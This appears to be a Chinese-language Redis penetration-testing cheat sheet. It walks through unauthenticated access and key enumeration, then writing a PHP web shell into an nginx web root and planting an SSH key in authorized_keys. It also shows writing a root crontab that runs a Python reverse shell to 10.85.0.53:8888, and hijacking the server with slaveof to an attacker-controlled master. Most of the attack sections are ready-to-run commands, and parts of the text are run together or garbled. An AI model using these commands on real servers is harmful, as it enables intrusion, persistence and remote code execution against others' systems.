默认情况下,Redis可以在没有凭据的情况下访问。但是,它可以被配置为仅支持密码,或用户名+密码。
可以在_redis.conf文件中使用参数requirepass设置密码,或者在服务重新启动连接到它并运行config set requirepass p@ss$12E45临时设置密码。此外,可以在redis.conf_文件中的参数masteruser中配置用户名。
SELECT1[ ... Indicate the database ... ]KEYS*[ ... Get Keys ... ]GET<KEY>[ ... Get Key ... ]
在运行GET <KEY>时,如果出现-WRONGTYPE Operation against a key holding the wrong kind of value错误,这是因为该键可能不是字符串或整数,需要使用特殊操作符来显示它。
要了解键的类型,请使用TYPE命令,以下是列表和哈希键的示例。
TYPE<KEY>[ ... Type of the Key ... ]LRANGE<KEY>0-1[ ... Get list items ... ]HGET<KEY><FIELD>[ ... Get hash item ... ]# If the type used is weird you can always do:DUMP<key>
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
请注意**config get dir的结果可能会在其他手动利用命令之后发生更改。建议在登录到Redis后立即运行它。在config get dir的输出中,您可以找到redis用户的home**(通常为_/var/lib/redis_或_/home/redis/.ssh_),知道这一点后,您就知道可以在哪里写入authenticated_users文件以通过ssh访问使用redis用户。如果您知道其他有效用户的主目录,并且具有可写权限,您也可以滥用它:
将文件导入到redis:cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
将公钥保存到redis服务器上的authorized_keys文件中:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
最后一个示例适用于Ubuntu,对于Centos,上述命令应为:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld